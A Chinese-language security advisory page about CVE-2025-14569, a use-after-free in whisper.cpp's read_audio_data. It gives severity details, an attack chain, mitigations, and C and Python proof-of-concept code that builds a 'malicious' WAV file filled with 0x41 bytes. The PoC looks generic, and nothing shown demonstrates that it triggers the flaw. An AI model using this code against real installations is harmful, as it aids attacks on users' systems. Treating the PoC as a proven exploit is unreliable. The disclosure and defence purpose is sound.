IPBUF安全漏洞报告
English
CVE-2025-14569 CVSS 5.3 中危

CVE-2025-14569: whisper.cpp read_audio_data函数存在Use After Free漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-14569
漏洞类型
Use After Free(释放后使用)
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ggml-org whisper.cpp

相关标签

Use After Freewhisper.cppggml-org语音识别本地攻击内存损坏CVE-2025-14569安全漏洞

漏洞概述

whisper.cpp是一款由ggml-org开发的开源语音识别工具,在其1.8.2及之前版本中,/examples/common-whisper.cpp文件内的read_audio_data函数存在Use After Free安全漏洞。该漏洞源于函数在释放内存后未正确清理指针,导致已释放的内存区域仍被后续代码访问。攻击者可通过构造恶意音频文件触发此漏洞,在本地环境中实现代码执行或造成应用程序崩溃。由于该漏洞利用代码已公开,且项目方尚未对问题报告做出响应,建议用户尽快采取防护措施。此漏洞需要低权限用户本地访问即可利用,无需用户交互,CVSS评分5.3,属于中等严重程度。

技术细节

漏洞位于whisper.cpp项目的common-whisper.cpp文件中的read_audio_data函数。该函数在处理音频数据时存在内存管理错误,具体表现为:函数在完成音频数据处理后释放了某块堆内存,但未能将相关指针置为NULL或进行有效清理,导致该指针成为悬空指针(dangling pointer)。当程序后续代码再次通过该悬空指针访问已释放的内存区域时,即发生Use After Free漏洞。攻击者可通过精心构造的音频文件(如特定的wav格式文件),在音频数据解析过程中触发内存释放,并在释放后通过特定的数据写入操作控制内存内容。由于whisper.cpp处理音频时需要频繁分配和释放内存,攻击面较大。此漏洞可被本地低权限用户利用,可能导致信息泄露、拒绝服务或潜在的代码执行。

攻击链分析

STEP 1
步骤1
攻击者创建包含恶意构造数据的音频文件,该文件格式符合whisper.cpp的解析要求,但包含特定数据模式用于触发内存释放后访问
STEP 2
步骤2
攻击者通过本地访问权限将恶意音频文件传输到目标系统,并使用whisper.cpp进行处理
STEP 3
步骤3
whisper.cpp的read_audio_data函数解析音频文件,在处理过程中释放某块内存,但未正确清理相关指针
STEP 4
步骤4
程序后续代码通过悬空指针访问已释放的内存区域,触发Use After Free漏洞
STEP 5
步骤5
攻击者利用内存分配释放的时间窗口,通过精心设计的数据布局,可能实现任意代码执行、信息泄露或导致应用程序崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2025-14569 PoC - whisper.cpp use_after_free in read_audio_data * Author: Security Researcher * Description: Generates a malicious audio file to trigger use after free */ #include <stdio.h> #include <stdlib.h> #include <string.h> // Create a malicious WAV file that triggers use after free void create_malicious_audio(const char* filename) { FILE* fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "Failed to create file\n"); return; } // WAV header char riff[4] = {'R', 'I', 'F', 'F'}; fwrite(riff, 1, 4, fp); int file_size = 36 + 44; // header + malicious data fwrite(&file_size, 4, 1, fp); char wave[8] = {'W', 'A', 'V', 'E', 'f', 'm', 't', ' '}; fwrite(wave, 1, 8, fp); // fmt chunk int fmt_size = 16; fwrite(&fmt_size, 4, 1, fp); short audio_format = 1; // PCM fwrite(&audio_format, 2, 1, fp); short num_channels = 1; fwrite(&num_channels, 2, 1, fp); int sample_rate = 16000; fwrite(&sample_rate, 4, 1, fp); int byte_rate = 32000; fwrite(&byte_rate, 4, 1, fp); short block_align = 2; fwrite(&block_align, 2, 1, fp); short bits_per_sample = 16; fwrite(&bits_per_sample, 2, 1, fp); // data chunk char data[4] = {'d', 'a', 't', 'a'}; fwrite(data, 1, 4, fp); int data_size = 44; fwrite(&data_size, 4, 1, fp); // Malicious payload to trigger use after free unsigned char payload[44] = {0}; memset(payload, 0x41, 44); // Fill with pattern fwrite(payload, 1, 44, fp); fclose(fp); printf("Malicious audio file created: %s\n", filename); } int main() { const char* malicious_file = "malicious_audio.wav"; create_malicious_audio(malicious_file); printf("\nTo trigger the vulnerability:\n"); printf("1. Compile whisper.cpp with the vulnerable code\n"); printf("2. Run: ./main -f %s\n", malicious_file); printf("3. Observe use after free behavior\n"); return 0; } // Alternative Python PoC /* import struct def create_poc_wav(filename): with open(filename, 'wb') as f: # RIFF header f.write(b'RIFF') f.write(struct.pack('<I', 36 + 100)) # File size f.write(b'WAVE') # fmt chunk f.write(b'fmt ') f.write(struct.pack('<I', 16)) # Chunk size f.write(struct.pack('<H', 1)) # Audio format (PCM) f.write(struct.pack('<H', 1)) # Num channels f.write(struct.pack('<I', 16000)) # Sample rate f.write(struct.pack('<I', 32000)) # Byte rate f.write(struct.pack('<H', 2)) # Block align f.write(struct.pack('<H', 16)) # Bits per sample # data chunk - crafted to trigger UAF f.write(b'data') f.write(struct.pack('<I', 100)) f.write(b'\x41' * 100) # Pattern data create_poc_wav('poc.wav') print('PoC file created: poc.wav') */

影响范围

whisper.cpp <= 1.8.2

防御指南

临时缓解措施
在官方修复发布之前,可采取以下临时措施:1)限制whisper.cpp处理来自不可信来源的音频文件;2)使用沙箱环境运行whisper.cpp以限制潜在危害;3)监控系统日志,检测应用程序异常行为;4)考虑使用AppArmor或SELinux等强制访问控制工具限制程序权限。由于漏洞利用已公开且项目方未响应,建议密切关方官方更新并优先部署安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表